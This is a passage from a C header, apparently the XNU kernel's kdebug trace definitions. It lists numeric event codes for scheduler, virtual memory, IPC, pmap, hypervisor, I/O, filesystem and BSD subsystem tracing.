0x7\n#define MACH_DEMOTE 0x8\n#define MACH_IDLE 0x9\n#define MACH_STACK_DEPTH 0xa\n#define MACH_MOVED 0xb\n#define MACH_PSET_LOAD_AVERAGE 0xc\n#define MACH_AMP_DEBUG 0xd\n#define MACH_FAILSAFE 0xe\n#define MACH_BLOCK 0xf\n#define MACH_WAIT 0x10\n#define MACH_GET_URGENCY 0x14\n#define MACH_URGENCY 0x15\n#define MACH_REDISPATCH 0x16\n#define MACH_REMOTE_AST 0x17\n#define MACH_SCHED_CHOOSE_PROCESSOR 0x18\n#define MACH_DEEP_IDLE 0x19\n#define MACH_CPU_THROTTLE_DISABLE 0x1b\n#define MACH_RW_PROMOTE 0x1c\n#define MACH_RW_DEMOTE 0x1d\n#define MACH_SCHED_MAINTENANCE 0x1f\n#define MACH_DISPATCH 0x20\n#define MACH_QUANTUM_HANDOFF 0x21\n#define MACH_SCHED_THREAD_SWITCH 0x23\n#define MACH_SCHED_SMT_BALANCE 0x24\n#define MACH_REMOTE_DEFERRED_AST 0x25\n#define MACH_REMOTE_CANCEL_AST 0x26\n#define MACH_SCHED_CHANGE_PRIORITY 0x27\n#define MACH_SCHED_UPDATE_REC_CORES 0x28\n#define MACH_STACK_WAIT 0x29\n#define MACH_THREAD_BIND 0x2a\n#define MACH_WAITQ_PROMOTE 0x2b\n#define MACH_WAITQ_DEMOTE 0x2c\n#define MACH_SCHED_LOAD 0x2d\n#define MACH_REC_CORES_FAILSAFE 0x2e\n#define MACH_SCHED_QUANTUM_EXPIRED 0x2f\n#define MACH_EXEC_PROMOTE 0x30\n#define MACH_EXEC_DEMOTE 0x31\n#define MACH_AMP_SIGNAL_SPILL 0x32\n#define MACH_AMP_STEAL 0x33\n#define MACH_SCHED_LOAD_EFFECTIVE 0x34\n#define MACH_QUIESCENT_COUNTER 0x38\n#define MACH_TURNSTILE_USER_CHANGE 0x39\n#define MACH_AMP_RECOMMENDATION_CHANGE 0x3a\n#define MACH_AMP_PERFCTL_POLICY_CHANGE 0x3b\n#define MACH_TURNSTILE_KERNEL_CHANGE 0x40\n#define MACH_SCHED_WI_AUTO_JOIN 0x41\n#define MACH_SCHED_WI_DEFERRED_FINISH 0x42\n#define MACH_SET_RT_DEADLINE 0x43\n#define MACH_CANCEL_RT_DEADLINE 0x44\n#define MACH_RT_SIGNAL_SPILL 0x45\n#define MACH_RT_STEAL 0x46\n#define MACH_PENDING_AST_URGENT 0x47\n#define MACH_SCHED_THREAD_SELECT 0x48\n#define MACH_SCHED_NEXT_PROCESSOR 0x49\n#define MACH_PSET_AVG_EXEC_TIME 0x50\n#define MACH_SUSPEND_USERSPACE 0x51\n#define MACH_PREEMPTION_EXPIRED 0x52\n#define MACH_FLOOR_PROMOTE 0x53\n#define MACH_FLOOR_DEMOTE 0x54\n#define MACH_INT_MASKED_EXPIRED 0x55\n#define MACH_INT_HANDLED_EXPIRED 0x56\n#define MACH_UPDATE_POWERED_CORES 0x58\n#define MACH_MODE_DEMOTE_THROTTLED 0x59\n#define MACH_MODE_DEMOTE_FAILSAFE 0x5a\n#define MACH_MODE_DEMOTE_RT_DISALLOWED 0x5b\n#define MACH_MODE_UNDEMOTE_THROTTLED 0x5c\n#define MACH_MODE_UNDEMOTE_FAILSAFE 0x5d\n#define MACH_MODE_UNDEMOTE_RT_DISALLOWED 0x5e\n#define MACH_INT_MASKED_RESET 0x5f\n#define MACH_RT_DISALLOWED_WORK_INTERVAL 0x60\n#define MACH_SCHED_WI_EXTERNAL_WAKEUP 0x61\n#define MACH_SCHED_AST_CHECK 0x62\n#define MACH_SCHED_PREEMPT_TIMER_ACTIVE 0x63\n#define MACH_PROCESSOR_SHUTDOWN 0x64\n#define MACH_SCHED_CLUTCH_ROOT_BUCKET_STATE 0x0\n#define MACH_SCHED_CLUTCH_TG_BUCKET_STATE 0x1\n#define MACH_SCHED_CLUTCH_THREAD_SELECT 0x2\n#define MACH_SCHED_CLUTCH_THREAD_STATE 0x3\n#define MACH_SCHED_CLUTCH_TG_BUCKET_PRI 0x4\n#define MACH_SCHED_EDGE_CLUSTER_OVERLOAD 0x5\n#define MACH_SCHED_EDGE_STEAL 0x6\n#define MACH_SCHED_EDGE_REBAL_RUNNABLE 0x7\n#define MACH_SCHED_EDGE_REBAL_RUNNING 0x8\n#define MACH_SCHED_EDGE_SHOULD_YIELD 0x9\n#define MACH_SCHED_CLUTCH_THR_COUNT 0xa\n#define MACH_SCHED_EDGE_LOAD_AVG 0xb\n#define MACH_SCHED_EDGE_CLUSTER_SHARED_LOAD 0xc\n#define MACH_SCHED_EDGE_RSRC_HEAVY_THREAD 0xd\n#define MACH_SCHED_EDGE_SHARED_RSRC_MIGRATE 0xe\n#define WORKGROUP_INTERVAL_CREATE 0x0\n#define WORKGROUP_INTERVAL_DESTROY 0x1\n#define WORKGROUP_INTERVAL_CHANGE 0x2\n#define WORKGROUP_INTERVAL_START 0x3\n#define WORKGROUP_INTERVAL_UPDATE 0x4\n#define WORKGROUP_INTERVAL_FINISH 0x5\n#define WORKGROUP_INTERVAL_SET_WORKLOAD_ID 0x6\n#define WORKGROUP_INTERVAL_SET_WORKLOAD_ID_NAME 0x7\n#define KCOV_STKSZ_THRESHOLD_ABOVE 0x0\n#define KCOV_STKSZ_THRESHOLD_BELOW 0x1\n#define DBG_VM_VNODE_PAGEOUT 0x001\n#define DBG_VM_FAULT_INTERNAL 0x002\n#define DBG_VM_PURGEABLE_TOKEN_ADD 0x040\n#define DBG_VM_PURGEABLE_TOKEN_DELETE 0x041\n#define DBG_VM_PURGEABLE_TOKEN_RIPEN 0x042\n#define DBG_VM_PURGEABLE_OBJECT_ADD 0x048\n#define DBG_VM_PURGEABLE_OBJECT_REMOVE 0x049\n#define DBG_VM_PURGEABLE_OBJECT_PURGE 0x04a\n#define DBG_VM_PURGEABLE_OBJECT_PURGE_ALL 0x04b\n#define DBG_VM_PURGEABLE_OBJECT_PURGE_ONE 0x04c\n#define DBG_VM_PURGEABLE_OBJECT_PURGE_LOOP 0x04e\n#define DBG_VM_MAP_PARTIAL_REAP 0x054\n#define DBG_VM_MAP_WILLNEED 0x055\n#define DBG_VM_FAULT_CHECK_ZFDELAY 0x100\n#define DBG_VM_FAULT_COWDELAY 0x101\n#define DBG_VM_FAULT_ZFDELAY 0x102\n#define DBG_VM_FAULT_COMPRESSORDELAY 0x103\n#define DBG_VM_PAGEOUT_SCAN 0x104\n#define DBG_VM_PAGEOUT_BALANCE 0x105\n#define DBG_VM_PAGEOUT_FREELIST 0x106\n#define DBG_VM_PAGEOUT_PURGEONE 0x107\n#define DBG_VM_PAGEOUT_CACHE_EVICT 0x108\n#define DBG_VM_PAGEOUT_THREAD_BLOCK 0x109\n#define DBG_VM_PAGEOUT_JETSAM 0x10A\n#define DBG_VM_INFO1 0x10B\n#define DBG_VM_INFO2 0x10C\n#define DBG_VM_INFO3 0x10D\n#define DBG_VM_INFO4 0x10E\n#define DBG_VM_INFO5 0x10F\n#define DBG_VM_INFO6 0x110\n#define DBG_VM_INFO7 0x111\n#define DBG_VM_INFO8 0x112\n#define DBG_VM_INFO9 0x113\n#define DBG_VM_INFO10 0x114\n#define DBG_VM_UPL_PAGE_WAIT 0x120\n#define DBG_VM_IOPL_PAGE_WAIT 0x121\n#define DBG_VM_PAGE_WAIT_BLOCK 0x122\n#define DBG_VM_PAGE_SLEEP 0x123\n#define DBG_VM_PAGE_EXPEDITE 0x124\n#define DBG_VM_PAGE_EXPEDITE_NO_MEMORY 0x125\n#define DBG_VM_PAGE_GRAB 0x126\n#define DBG_VM_PAGE_RELEASE 0x127\n#define DBG_VM_COMPRESSOR_COMPACT_AND_SWAP 0x128\n#define DBG_VM_COMPRESSOR_DELAYED_COMPACT 0x129\n#define DBG_VM_OBJECT_SLEEP 0x12a\n#define DBG_VM_PAGE_WAKEUP 0x12b\n#define DBG_VM_PAGE_WAKEUP_DONE 0x12c\n#define DBG_VM_PRESSURE_EVENT 0x130\n#define DBG_VM_EXECVE 0x131\n#define DBG_VM_WAKEUP_COMPACTOR_SWAPPER 0x132\n#define DBG_VM_UPL_REQUEST 0x133\n#define DBG_VM_IOPL_REQUEST 0x134\n#define DBG_VM_KERN_REQUEST 0x135\n#define DBG_VM_DATA_WRITE 0x140\n#define DBG_VM_PRESSURE_LEVEL_CHANGE 0x141\n#define DBG_VM_PHYS_WRITE_ACCT 0x142\n#define DBG_VM_MAP_LOOKUP_ENTRY_FAILURE 0x143\n#define VM_DISCONNECT_ALL_PAGE_MAPPINGS 0x00\n#define VM_DISCONNECT_TASK_PAGE_MAPPINGS 0x01\n#define VM_REAL_FAULT_ADDR_INTERNAL 0x02\n#define VM_REAL_FAULT_ADDR_PURGABLE 0x03\n#define VM_REAL_FAULT_ADDR_EXTERNAL 0x04\n#define VM_REAL_FAULT_ADDR_SHAREDCACHE 0x05\n#define VM_REAL_FAULT_FAST 0x06\n#define VM_REAL_FAULT_SLOW 0x07\n#define VM_MAP_LOOKUP_OBJECT 0x08\n#define DBG_ZERO_FILL_FAULT 0x01\n#define DBG_PAGEIN_FAULT 0x02\n#define DBG_COW_FAULT 0x03\n#define DBG_CACHE_HIT_FAULT 0x04\n#define DBG_NZF_PAGE_FAULT 0x05\n#define DBG_GUARD_FAULT 0x06\n#define DBG_PAGEINV_FAULT 0x07\n#define DBG_PAGEIND_FAULT 0x08\n#define DBG_COMPRESSOR_FAULT 0x09\n#define DBG_COMPRESSOR_SWAPIN_FAULT 0x0a\n#define DBG_COR_FAULT 0x0b\n#define MACH_TASK_SUSPEND 0x0\n#define MACH_TASK_RESUME 0x1\n#define MACH_THREAD_SET_VOUCHER 0x2\n#define MACH_IPC_MSG_SEND 0x3\n#define MACH_IPC_MSG_RECV 0x4\n#define MACH_IPC_MSG_RECV_VOUCHER_REFUSED 0x5\n#define MACH_IPC_KMSG_FREE 0x6\n#define MACH_IPC_VOUCHER_CREATE 0x7\n#define MACH_IPC_VOUCHER_CREATE_ATTR_DATA 0x8\n#define MACH_IPC_VOUCHER_DESTROY 0x9\n#define MACH_IPC_KMSG_INFO 0xa\n#define MACH_IPC_KMSG_LINK 0xb\n#define MACH_IPC_PORT_ENTRY_MODIFY 0xc\n#define MACH_IPC_DESTROY_GUARDED_DESC 0xd\n#define MACH_THREAD_SUSPEND 0xe\n#define MACH_THREAD_RESUME 0xf\n#define MACH_EXCLAVES_SWITCH 0x0\n#define MACH_EXCLAVES_XNUPROXY 0x1\n#define MACH_EXCLAVES_RPC 0x2\n#define MACH_EXCLAVES_UPCALL 0x3\n#define MACH_EXCLAVES_BOOT_TASK 0x4\n#define MACH_EXCLAVES_SCHEDULER_YIELD 0x0\n#define MACH_EXCLAVES_SCHEDULER_SPAWNED 0x1\n#define MACH_EXCLAVES_SCHEDULER_TERMINATED 0x2\n#define MACH_EXCLAVES_SCHEDULER_WAIT 0x3\n#define MACH_EXCLAVES_SCHEDULER_WAKE 0x4\n#define MACH_EXCLAVES_SCHEDULER_SUSPENDED 0x5\n#define MACH_EXCLAVES_SCHEDULER_RESUMED 0x6\n#define MACH_EXCLAVES_SCHEDULER_INTERRUPTED 0x7\n#define MACH_EXCLAVES_SCHEDULER_NOTHING_SCHEDULED 0x8\n#define MACH_EXCLAVES_SCHEDULER_ALL_EXCLAVES_BOOTED 0x9\n#define MACH_EXCLAVES_SCHEDULER_EARLY_ALLOC 0xa\n#define MACH_EPOCH_SYNC_WAIT_STALE 0x0\n#define MACH_EPOCH_SYNC_WAIT 0x1\n#define MACH_EPOCH_SYNC_WAKE_NO_WAITERS 0x2\n#define MACH_EPOCH_SYNC_WAKE_ONE 0x3\n#define MACH_EPOCH_SYNC_WAKE_ALL 0x4\n#define MACH_EPOCH_SYNC_WAKE_ONE_WITH_OWNER 0x5\n#define MACH_EPOCH_SYNC_WAKE_THREAD 0x6\n#define MACH_THREAD_GROUP_NEW 0x0\n#define MACH_THREAD_GROUP_FREE 0x1\n#define MACH_THREAD_GROUP_SET 0x2\n#define MACH_THREAD_GROUP_NAME 0x3\n#define MACH_THREAD_GROUP_NAME_FREE 0x4\n#define MACH_THREAD_GROUP_FLAGS 0x5\n#define MACH_THREAD_GROUP_BLOCK 0x6\n#define MACH_THREAD_GROUP_PREADOPT 0x7\n#define MACH_THREAD_GROUP_PREADOPT_NEXTTIME 0x8\n#define MACH_THREAD_GROUP_PREADOPT_CLEAR 0x9\n#define MACH_THREAD_GROUP_PREADOPT_NA 0xa\n#define MACH_COALITION_NEW 0x0\n#define MACH_COALITION_FREE 0x1\n#define MACH_COALITION_ADOPT 0x2\n#define MACH_COALITION_REMOVE 0x3\n#define MACH_COALITION_THREAD_GROUP_SET 0x4\n#define PMAP__CREATE 0x0\n#define PMAP__DESTROY 0x1\n#define PMAP__PROTECT 0x2\n#define PMAP__PAGE_PROTECT 0x3\n#define PMAP__ENTER 0x4\n#define PMAP__REMOVE 0x5\n#define PMAP__NEST 0x6\n#define PMAP__UNNEST 0x7\n#define PMAP__FLUSH_TLBS 0x8\n#define PMAP__UPDATE_INTERRUPT 0x9\n#define PMAP__ATTRIBUTE_CLEAR 0xa\n#define PMAP__REUSABLE 0xb\n#define PMAP__QUERY_RESIDENT 0xc\n#define PMAP__FLUSH_KERN_TLBS 0xd\n#define PMAP__FLUSH_DELAYED_TLBS 0xe\n#define PMAP__FLUSH_TLBS_TO 0xf\n#define PMAP__FLUSH_EPT 0x10\n#define PMAP__FAST_FAULT 0x11\n#define PMAP__SWITCH 0x12\n#define PMAP__TTE 0x13\n#define PMAP__SWITCH_USER_TTB 0x14\n#define PMAP__UPDATE_CACHING 0x15\n#define PMAP__ATTRIBUTE_CLEAR_RANGE 0x16\n#define PMAP__CLEAR_USER_TTB 0x17\n#define PMAP__IOMMU_INIT 0x18\n#define PMAP__IOMMU_IOVMALLOC 0x19\n#define PMAP__IOMMU_IOVMFREE 0x1a\n#define PMAP__IOMMU_MAP 0x1b\n#define PMAP__IOMMU_UNMAP 0x1c\n#define PMAP__IOMMU_IOCTL 0x1d\n#define PMAP__IOMMU_GRANT_PAGE 0x1e\n#define PMAP__BATCH_UPDATE_CACHING 0x1f\n#define PMAP__COLLECT_CACHE_OPS 0x20\n#define MACH_EPOCH_CHANGE 0x0\n#define MACH_BRIDGE_RCV_TS 0x1\n#define MACH_BRIDGE_REMOTE_TIME 0x2\n#define MACH_BRIDGE_RESET_TS 0x3\n#define MACH_BRIDGE_TS_PARAMS 0x4\n#define MACH_BRIDGE_SKIP_TS 0x5\n#define MACH_BRIDGE_TS_MISMATCH 0x6\n#define MACH_BRIDGE_OBSV_RATE 0x7\n#define MICROSTACKSHOT_RECORD 0x0\n#define MICROSTACKSHOT_GATHER 0x1\n#define STACKSHOT_RECORD 0x2\n#define STACKSHOT_RECORD_SHORT 0x3\n#define STACKSHOT_KERN_RECORD 0x4\n#define SYSDIAGNOSE_NOTIFY_USER 0x0\n#define SYSDIAGNOSE_FULL 0x1\n#define SYSDIAGNOSE_STACKSHOT 0x2\n#define SYSDIAGNOSE_TAILSPIN 0x3\n#define SFI_SET_WINDOW 0x0\n#define SFI_CANCEL_WINDOW 0x1\n#define SFI_SET_CLASS_OFFTIME 0x2\n#define SFI_CANCEL_CLASS_OFFTIME 0x3\n#define SFI_THREAD_DEFER 0x4\n#define SFI_OFF_TIMER 0x5\n#define SFI_ON_TIMER 0x6\n#define SFI_WAIT_CANCELED 0x7\n#define SFI_PID_SET_MANAGED 0x8\n#define SFI_PID_CLEAR_MANAGED 0x9\n#define SFI_GLOBAL_DEFER 0xa\n#define ZALLOC_ZCRAM 0x0\n#define RMON_ENABLE_CPUUSAGE_MONITOR 0x001\n#define RMON_CPUUSAGE_VIOLATED 0x002\n#define RMON_CPUUSAGE_SUSPENDED 0x003\n#define RMON_CPUUSAGE_VIOLATED_K32A 0x004\n#define RMON_CPUUSAGE_VIOLATED_K32B 0x005\n#define RMON_CPUUSAGE_RESUMED 0x006\n#define RMON_DISABLE_CPUUSAGE_MONITOR 0x00f\n#define RMON_ENABLE_CPUWAKES_MONITOR 0x011\n#define RMON_CPUWAKES_VIOLATED 0x012\n#define RMON_CPUWAKES_VIOLATED_K32A 0x014\n#define RMON_CPUWAKES_VIOLATED_K32B 0x015\n#define RMON_DISABLE_CPUWAKES_MONITOR 0x01f\n#define RMON_ENABLE_IO_MONITOR 0x021\n#define RMON_LOGWRITES_VIOLATED 0x022\n#define RMON_PHYSWRITES_VIOLATED 0x023\n#define RMON_LOGWRITES_VIOLATED_K32A 0x024\n#define RMON_LOGWRITES_VIOLATED_K32B 0x025\n#define RMON_DISABLE_IO_MONITOR 0x02f\n#define HV_X86_ENTER 0x00\n#define HV_X86_ENTER_ERROR 0x01\n#define HV_X86_TRAP_TASK 0x02\n#define HV_X86_TRAP_THREAD 0x03\n#define HV_X86_INTERRUPT_INJECT 0x04\n#define HV_X86_INTERRUPT_RECV 0x05\n#define HV_X86_INTERRUPT_SEND 0x06\n#define HV_X86_IPI_SEND 0x07\n#define HV_X86_NMI_INJECT 0x08\n#define HV_X86_NMI_SEND 0x09\n#define HV_X86_LSC_HIT 0x0a\n#define HV_X86_LSC_INSERT 0x0b\n#define HV_X86_LSC_INSERT_IMM32 0x0c\n#define HV_X86_LSC_INVALID 0x0d\n#define HV_X86_LSC_INVALIDATE 0x0e\n#define HV_X86_LSC_MISS 0x0f\n#define HV_X86_TIMER_CANCEL 0x10\n#define HV_X86_TIMER_FIRE 0x11\n#define HV_X86_TIMER_SCHEDULE 0x12\n#define HV_X86_APIC_ACCESS_EXIT 0x13\n#define HV_X86_APIC_WRITE_EXIT 0x14\n#define HV_X86_EPT_VIOLATION_EXIT 0x15\n#define HV_X86_EXC_NMI_EXIT 0x16\n#define HV_X86_HLT_EXIT 0x17\n#define HV_X86_IO_EXIT 0x18\n#define HV_X86_IRQ_EXIT 0x19\n#define HV_X86_IRQ_WND_EXIT 0x1a\n#define HV_X86_MOV_DR_EXIT 0x1b\n#define HV_X86_NMI_WND_EXIT 0x1c\n#define HV_X86_RDMSR_EXIT 0x1d\n#define HV_X86_RDPMC_EXIT 0x1e\n#define HV_X86_TPR_THRESHOLD_EXIT 0x1f\n#define HV_X86_VMX_TIMER_EXPIRED_EXIT 0x20\n#define HV_X86_WRMSR_EXIT 0x21\n#define HV_X86_VCPU_READ_APIC_TRAP 0x22\n#define HV_X86_VCPU_READ_VMCS_TRAP 0x23\n#define HV_X86_VCPU_RUN_TRAP 0x24\n#define HV_X86_VCPU_RUN_UNTIL_TRAP 0x25\n#define HV_X86_VCPU_WRITE_APIC_TRAP 0x26\n#define HV_X86_VM_ADDRSPACE_CREATE_TRAP 0x27\n#define HV_X86_VM_ADDRSPACE_DESTROY_TRAP 0x28\n#define HV_X86_VM_INTR_MSI_TRAP 0x29\n#define HV_X86_VM_MAP_TRAP 0x2a\n#define HV_X86_VM_PROTECT_TRAP 0x2b\n#define HV_X86_VM_UNMAP_TRAP 0x2c\n#define HV_X86_TSC_OFFSET_SET 0x2d\n#define VM_RECLAIM_UPDATE_ACCOUNTING 0x01\n#define VM_RECLAIM_ENTRIES 0x02\n#define VM_RECLAIM_CHUNK 0x03\n#define VM_RECLAIM_ENTRY 0x04\n#define VM_RECLAIM_ALL_MEMORY 0x05\n#define VM_RECLAIM_ASYNC_MEMORY 0x06\n#define VM_RECLAIM_INIT 0x07\n#define DBG_NETIP 1\n#define DBG_NETARP 2\n#define DBG_NETUDP 3\n#define DBG_NETTCP 4\n#define DBG_NETICMP 5\n#define DBG_NETIGMP 6\n#define DBG_NETRIP 7\n#define DBG_NETOSPF 8\n#define DBG_NETISIS 9\n#define DBG_NETSNMP 10\n#define DBG_NETSOCK 11\n#define DBG_NETAARP 100\n#define DBG_NETDDP 101\n#define DBG_NETNBP 102\n#define DBG_NETZIP 103\n#define DBG_NETADSP 104\n#define DBG_NETATP 105\n#define DBG_NETASP 106\n#define DBG_NETAFP 107\n#define DBG_NETRTMP 108\n#define DBG_NETAURP 109\n#define DBG_NETIPSEC 128\n#define DBG_NETVMNET 129\n#define DBG_IOINTC 0\n#define DBG_IOWORKLOOP 1\n#define DBG_IOINTES 2\n#define DBG_IOCLKES 3\n#define DBG_IOCMDQ 4\n#define DBG_IOMCURS 5\n#define DBG_IOMDESC 6\n#define DBG_IOPOWER 7\n#define DBG_IOSERVICE 8\n#define DBG_IOREGISTRY 9\n#define DBG_IOPORT 10\n#define DBG_IOSTORAGE 32\n#define DBG_IONETWORK 33\n#define DBG_IOKEYBOARD 34\n#define DBG_IOHID 35\n#define DBG_IOAUDIO 36\n#define DBG_IOSERIAL 37\n#define DBG_IOTTY 38\n#define DBG_IOSAM 39\n#define DBG_IOPARALLELATA 40\n#define DBG_IOPARALLELSCSI 41\n#define DBG_IOSATA 42\n#define DBG_IOSAS 43\n#define DBG_IOFIBRECHANNEL 44\n#define DBG_IOUSB 45\n#define DBG_IOBLUETOOTH 46\n#define DBG_IOFIREWIRE 47\n#define DBG_IOINFINIBAND 48\n#define DBG_IOCPUPM 49\n#define DBG_IOGRAPHICS 50\n#define DBG_HIBERNATE 51\n#define DBG_IOTHUNDERBOLT 52\n#define DBG_BOOTER 53\n#define DBG_IOAUDIO2 54\n#define DBG_IOAFK 55\n#define DBG_IOSURFACEPA 64\n#define DBG_IOMDPA 65\n#define DBG_IODARTPA 66\n#define DBG_DRVSTORAGE 1\n#define DBG_DRVNETWORK 2\n#define DBG_DRVKEYBOARD 3\n#define DBG_DRVHID 4\n#define DBG_DRVAUDIO 5\n#define DBG_DRVSERIAL 7\n#define DBG_DRVSAM 8\n#define DBG_DRVPARALLELATA 9\n#define DBG_DRVPARALLELSCSI 10\n#define DBG_DRVSATA 11\n#define DBG_DRVSAS 12\n#define DBG_DRVFIBRECHANNEL 13\n#define DBG_DRVUSB 14\n#define DBG_DRVBLUETOOTH 15\n#define DBG_DRVFIREWIRE 16\n#define DBG_DRVINFINIBAND 17\n#define DBG_DRVGRAPHICS 18\n#define DBG_DRVSD 19\n#define DBG_DRVNAND 20\n#define DBG_SSD 21\n#define DBG_DRVSPI 22\n#define DBG_DRVWLAN_802_11 23\n#define DBG_DRVSSM 24\n#define DBG_DRVSMC 25\n#define DBG_DRVMACEFIMANAGER 26\n#define DBG_DRVANE 27\n#define DBG_DRVETHERNET 28\n#define DBG_DRVMCC 29\n#define DBG_DRVACCESSORY 30\n#define DBG_SOCDIAGS 31\n#define DBG_DRVVIRTIO 32\n#define DBG_DRVCELLULAR 33\n#define DBG_DRVSPMI 34\n#define DBG_DLIL_STATIC 1\n#define DBG_DLIL_PR_MOD 2\n#define DBG_DLIL_IF_MOD 3\n#define DBG_DLIL_PR_FLT 4\n#define DBG_DLIL_IF_FLT 5\n#define DBG_FSRW 0x1\n#define DBG_DKRW 0x2\n#define DBG_FSVN 0x3\n#define DBG_FSLOOOKUP 0x4\n#define DBG_JOURNAL 0x5\n#define DBG_IOCTL 0x6\n#define DBG_BOOTCACHE 0x7\n#define DBG_HFS 0x8\n#define DBG_APFS 0x9\n#define DBG_SMB 0xA\n#define DBG_MOUNT 0xB\n#define DBG_EXFAT 0xE\n#define DBG_MSDOS 0xF\n#define DBG_ACFS 0x10\n#define DBG_THROTTLE 0x11\n#define DBG_DECMP 0x12\n#define DBG_VFS 0x13\n#define DBG_LIVEFS 0x14\n#define DBG_NFS 0x15\n#define DBG_CONTENT_PROT 0xCF\n#define DBG_HFS_UPDATE_ACCTIME 0x01\n#define DBG_HFS_UPDATE_MODTIME 0x02\n#define DBG_HFS_UPDATE_CHGTIME 0x04\n#define DBG_HFS_UPDATE_MODIFIED 0x08\n#define DBG_HFS_UPDATE_FORCE 0x10\n#define DBG_HFS_UPDATE_DATEADDED 0x20\n#define DBG_HFS_UPDATE_MINOR 0x40\n#define DBG_HFS_UPDATE_SKIPPED 0x80\n#define DBG_VFS_IO_COMPRESSION_STATS 0x1000\n#define DBG_BSD_PROC 0x01\n#define DBG_BSD_MEMSTAT 0x02\n#define DBG_BSD_KEVENT 0x03\n#define DBG_BSD_EXCP_SC 0x0C\n#define DBG_BSD_AIO 0x0D\n#define DBG_BSD_SC_EXTENDED_INFO 0x0E\n#define DBG_BSD_SC_EXTENDED_INFO2 0x0F\n#define DBG_BSD_KDEBUG_TEST 0xFF\n#define BSD_PROC_EXIT 1\n#define BSD_PROC_FRCEXIT 2\n#define BSD_PROC_EXEC 3\n#define BSD_PROC_EXITREASON_CREATE 4\n#define BSD_PROC_EXITREASON_COMMIT 5\n#define BSD_MEMSTAT_SCAN 1\n#define BSD_MEMSTAT_JETSAM 2\n#define BSD_MEMSTAT_JETSAM_HIWAT 3\n#define BSD_MEMSTAT_FREEZE 4\n#define BSD_MEMSTAT_FREEZE_SCAN 5\n#define BSD_MEMSTAT_UPDATE 6\n#define BSD_MEMSTAT_IDLE_DEMOTE 7\n#define BSD_MEMSTAT_CLEAR_ERRORS 8\n#define BSD_MEMSTAT_DIRTY_TRACK 9\n#define BSD_MEMSTAT_DIRTY_SET 10\n#define BSD_MEMSTAT_DIRTY_CLEAR 11\n#define BSD_MEMSTAT_FAST_JETSAM 15\n#define BSD_MEMSTAT_COMPACTOR_RUN 16\n#define BSD_MEMSTAT_FREEZE_DISABLE 17\n#define BSD_MEMSTAT_RELAUNCH_FLAGS 18\n#define BSD_KEVENT_KQ_PROCESS_BEGIN 1\n#define BSD_KEVENT_KQ_PROCESS_END 2\n#define BSD_KEVENT_KQWQ_PROCESS_BEGIN 3\n#define BSD_KEVENT_KQWQ_PROCESS_END 4\n#define BSD_KEVENT_KQWQ_BIND 5\n#define BSD_KEVENT_KQWQ_UNBIND 6\n#define BSD_KEVENT_KQWQ_THREQUEST 7\n#define BSD_KEVENT_KQWL_PROCESS_BEGIN 8\n#define BSD_KEVENT_KQWL_PROCESS_END 9\n#define BSD_KEVENT_KQWL_THREQUEST 10\n#define BSD_KEVENT_KQWL_THADJUST 11\n#define BSD_KEVENT_KQ_REGISTER 12\n#define BSD_KEVENT_KQWQ_REGISTER 13\n#define BSD_KEVENT_KQWL_REGISTER 14\n#define BSD_KEVENT_KNOTE_ACTIVATE 15\n#define BSD_KEVENT_KQ_PROCESS 16\n#define BSD_KEVENT_KQWQ_PROCESS 17\n#define BSD_KEVENT_KQWL_PROCESS 18\n#define BSD_KEVENT_KQWL_BIND 19\n#define BSD_KEVENT_KQWL_UNBIND 20\n#define BSD_KEVENT_KNOTE_ENABLE 21\n#define BSD_KEVENT_KNOTE_VANISHED 22\n#define DBG_TRACE_DATA 0\n#define DBG_TRACE_STRING 1\n#define DBG_TRACE_INFO 2\n#define DBG_CS_IO 0\n#define DBG_SEC_KERNEL 0\n#define DBG_SEC_SANDBOX 1\n#define DBG_MT_INSTRS_CYCLES 1\n#define DBG_MT_DEBUG 2\n#define DBG_MT_RESOURCES_PROC_EXIT 3\n#define DBG_MT_RESOURCES_THR_EXIT 4\n#define DBG_MT_INSTRS_CYCLES_ON_CPU 5\n#define DBG_MT_TMPTH 0xfe\n#define DBG_MT_TMPCPU 0xff\n#define DBG_MISC_COREBRIGHTNESS 0x01\n#define DBG_MISC_VIDEOENG 0x02\n#define DBG_EVENT 0x10\n#define DBG_MISC_INSTRUMENTS 0x11\n#define DBG_MISC_INSTRUMENTSBT 0x12\n#define DBG_MISC_RUNLOOP_DETAILS 0x13\n#define DBG_MISC_RUNLOOP_BUSY 0x14\n#define DBG_MISC_LAYOUT 0x1a\n#define DBG_BUFFER 0x20\n#define DKIO_DONE 0x01\n#define DKIO_READ 0x02\n#define DKIO_ASYNC 0x04\n#define DKIO_META 0x08\n#define DKIO_PAGING 0x10\n#define DKIO_THROTTLE 0x20\n#define DKIO_PASSIVE 0x40\n#define DKIO_NOCACHE 0x80\n#define DKIO_TIER_MASK 0xF00\n#define DKIO_TIER_SHIFT 8\n#define DKIO_TIER_UPGRADE 0x1000\n#define DBG_APP_LOGINWINDOW 0x03\n#define DBG_APP_AUDIO 0x04\n#define DBG_APP_SYSTEMUI 0x05\n#define DBG_APP_SIGNPOST 0x0A\n#define DBG_APP_TAL 0x0B\n#define DBG_APP_APPKIT 0x0C\n#define DBG_APP_UIKIT 0x0D\n#define DBG_APP_DFR 0x0E\n#define DBG_APP_LAYOUT 0x0F\n#define DBG_APP_COREDATA 0x10\n#define DBG_APP_RUNLOOP_BASIC 0x11\n#define DBG_APP_RUNLOOP_ADVANCED 0x12\n#define DBG_APP_SAMBA 0x80\n#define DBG_APP_EOSSUPPORT 0x81\n#define DBG_APP_MACEFIMANAGER 0x82\n#define DBG_APP_ENTERPRISE 0x83\n#define OPEN_THROTTLE_WINDOW 0x1\n#define PROCESS_THROTTLED 0x2\n#define IO_THROTTLE_DISABLE 0x3\n#define IO_TIER_UPL_MISMATCH 0x4\n#define IMP_ASSERTION 0x10\n#define IMP_BOOST 0x11\n#define IMP_MSG 0x12\n#define IMP_WATCHPORT 0x13\n#define IMP_TASK_SUPPRESSION 0x17\n#define IMP_TASK_APPTYPE 0x18\n#define IMP_UPDATE 0x19\n#define IMP_USYNCH_QOS_OVERRIDE 0x1A\n#define IMP_DONOR_CHANGE 0x1B\n#define IMP_MAIN_THREAD_QOS 0x1C\n#define IMP_SYNC_IPC_QOS 0x1D\n#define IMP_TASK_POLICY_DARWIN_BG 0x21\n#define IMP_TASK_POLICY_IOPOL 0x22\n#define IMP_TASK_POLICY_IO 0x23\n#define IMP_TASK_POLICY_PASSIVE_IO 0x24\n#define IMP_TASK_POLICY_DARWIN_BG_IOPOL 0x27\n#define IMP_TASK_POLICY_BOOST 0x29\n#define IMP_TASK_POLICY_ROLE 0x2A\n#define IMP_TASK_POLICY_TERMINATED 0x2C\n#define IMP_TASK_POLICY_NEW_SOCKETS_BG 